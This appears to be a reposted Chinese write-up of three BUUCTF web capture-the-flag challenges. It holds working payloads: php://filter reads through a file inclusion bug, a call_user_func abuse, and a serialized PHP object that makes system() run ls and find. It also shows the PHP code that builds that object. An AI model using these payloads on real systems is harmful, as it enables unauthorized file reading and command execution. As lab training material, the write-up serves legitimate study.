温锦文欧普厨电及净水器总代理 发表于 2024-5-26 17:17:26

BUUCTF-WEB(36-40)

Had a bad day

参考:
BSidesCF 2020]Had a bad day_末初的技术博客_51CTO博客
BSidesCF 2020]Had a bad day(小宇特详解)-CSDN博客
应该是文件包含
https://www.cnblogs.com/web36.assets/image-20240524193501018.png
我这里利用;1,然后报错,我发现他是直接会加上一个.php,那我们试试伪协议读取
?category=php://filter/read=convert.base64-encode/resource=indexhttps://www.cnblogs.com/web36.assets/image-20240524193659363.png
base64解码出
这个代码内里必须含有 woofers,meowers, index
然后我们就试着包含一下flag
?category=meowers/../flag发现源码多了
https://www.cnblogs.com/web36.assets/image-20240524194233169.png
那接下来我们就是读取,仍旧利用php://
php://filter/read=convert.base64-encode/woofers/resource=flag解码得到
https://www.cnblogs.com/web36.assets/image-20240524194727771.png
[网鼎杯 2020 朱雀组]phpweb

参考:
v (cnblogs.com)
https://www.cnblogs.com/web36.assets/image-20240524200447722.png
抓包发现还穿了这两个参数
然后发现是call_user_func()函数去下令执行
我们可以输入
func=file_get_contents&p=index.php去看这个代码的文件
https://www.cnblogs.com/web36.assets/image-20240524201114662.png
可以构造反序列化
https://www.cnblogs.com/web36.assets/image-20240524201734778.png
然后payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}然后根目次也找不到flag,我们就用find,这里要url编码,然后用get传输,防止一些字符没用成功输入进去
<?php
class Test {
      var $p = "find / -name flag*";
      var $func = system;
      function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
      }
}
$a=new Test();
echo serialize($a);https://www.cnblogs.com/web36.assets/image-20240526141838876.png
访问这个Starting前面这个/test.php
https://www.cnblogs.com/web36.assets/image-20240526141919804.png
禁止套娃

开局就是天崩,没啥东西
https://www.cnblogs.com/web36.assets/image-20240526142907739.png
dirsearch扫了一下也是没发现什么东西
有大概是git泄露,用githack试试
https://www.cnblogs.com/web36.assets/image-20240526143535502.png
然后我这也扫描不到,挺奇怪的,这道题放一放

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: BUUCTF-WEB(36-40)